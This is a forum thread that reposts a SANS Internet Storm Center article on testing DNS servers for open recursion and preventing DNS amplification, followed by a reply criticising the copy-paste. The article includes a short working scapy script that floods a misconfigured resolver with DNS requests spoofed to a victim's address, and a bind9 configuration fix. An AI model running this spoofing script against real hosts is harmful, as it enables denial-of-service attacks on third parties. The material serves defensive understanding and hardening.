EvilZone

Hacking and Security => Hacking and Security => Topic started by: h3x0r2 on January 05, 2016, 06:27:55 AM

Title: Testing for DNS recursion and avoiding being part of DNS amplification attacks
Post by: h3x0r2 on January 05, 2016, 06:27:55 AM

Yes, it has been said too many times, but still there are too many DNS servers out there allowing recursion to devices outside their network, which could be used for DNS amplification attacks. How? The attacker sends a spoofed DNS request with the victim IP address, usually from a botnet. When the misconfigured DNS answers will send the packet to the victim IP address causing a DDoS attack.

How can you test if your DNS allow recursion from the outside? You can use the dns-recursion nmap script:



If it's not enabled, you will only get an indication of an open port:



How does this attack work? Take a look to the following scenario:



A POC for the attack can be easily implemented using the following scapy script, which will be executed by the attacker:

#!/usr/bin/python
from scapy.all import *
victimIP = raw_input("Please enter the IP address for the victim: ")
dnsIP = raw_input("Please enter the IP address for the misconfigured DNS: ")
while True:
        send(IP(dst=dnsIP,src=victimIP)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="www.google.com")),verbose=0)

I named this script dnscapy.py. When executed:



Got the following packets in the victim side:



How can you avoid this attack? If you are using bind9, add the following to the global options, assuming your corporate networks are 10.1.1.0/24 and 10.1.2.0/24:

acl recursiononly { 10.1.1.0/24; 10.1.2.0/24; };
options {
  allow-query { any; };
  allow-recursion { recursiononly; };
};

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter: @manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

Title: Re: Testing for DNS recursion and avoiding being part of DNS amplification attacks
Post by: kenjoe41 on January 05, 2016, 09:06:38 AM

@OP, are you Manuel Humberto Santander Peláez? And this is an epic fail at Copy&Paste. Wrong formatting and you missed alot of images that were crucial. I think the best option here was to link to the original post through the found it on the web section rather than do this. Learn for yourself then write epic posts than copy n paste for the fame on the forum. Thanks for the credits but i also do think you didn't post those intendingly.

Original post: https://isc.sans.edu/diary/Testing+for+DNS+recursion+and+avoiding+being+part+of+DNS+amplification+attacks/20567 (https://isc.sans.edu/diary/Testing+for+DNS+recursion+and+avoiding+being+part+of+DNS+amplification+attacks/20567)

Such copy n pasting lowers the quality of the forum.